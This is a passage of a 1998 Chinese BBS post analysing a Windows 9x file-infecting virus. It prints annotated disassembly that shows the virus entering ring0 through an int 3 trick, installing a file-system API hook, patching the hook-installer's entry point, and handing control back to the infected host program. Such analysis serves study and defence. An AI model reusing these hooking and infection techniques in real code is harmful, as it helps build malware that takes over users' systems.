发信人: crazydiamond()
整理人: jia(1998-10-26 01:23:58), 站内信件
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接上回:
:0000004A pop esi
:0000004B int 03 ;第二次进入ring0,截获IFS_APIHOOK
......
:00000063 je 00000097 ;判断是否第二次调用? 是则跳转
......
:00000097 lea eax, dword ptr [edi+FFFFFCF7]
:0000009D push eax
:0000009E vxdcall IFSMgr_InstallFileSystemApiHook
;加入IFS_ApiHook 指向000000e2
:000000A4 mov dr0,eax ;保存旧的ApiHook
:000000A7 pop eax
:000000A8 mov ecx, dword ptr [esi+3D]
:000000AB mov edx, dword ptr [ecx]
:000000AD mov dword ptr [eax-04], edx
:000000B0 lea eax, dword ptr [eax-2A]
:000000B3 mov dword ptr [ecx], eax
;修改IFSMgr_InstallFileSystemApiHook函数入口指向000000b8
:000000B5 cli
:000000B6 jmp 0000006E
......
:0000006E mov word ptr [ebx-04], bp
:00000072 shr ebp, 10
:00000075 mov word ptr [ebx+02], bp ;恢复原来的Int3 返回0000004c
:00000079 iret
......
:0000004C sti
:0000004D xor ebx, ebx
:0000004F jmp 00000058
:00000051 xor ebx, ebx
:00000053 mov eax, dword ptr fs:[ebx]
:00000056 mov esp, dword ptr [eax]
:00000058 pop dword ptr fs:[ebx]
:0000005B pop eax
:0000005C pop ebp
:0000005D push 01002210 ;宿主程序原起始地址,因被感染程序而异
:00000062 ret ;返回控制
自此,病毒接管系统。
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※ 来源:．广州网易 BBS bbs.nease.net．[FROM: 202.96.101.254]
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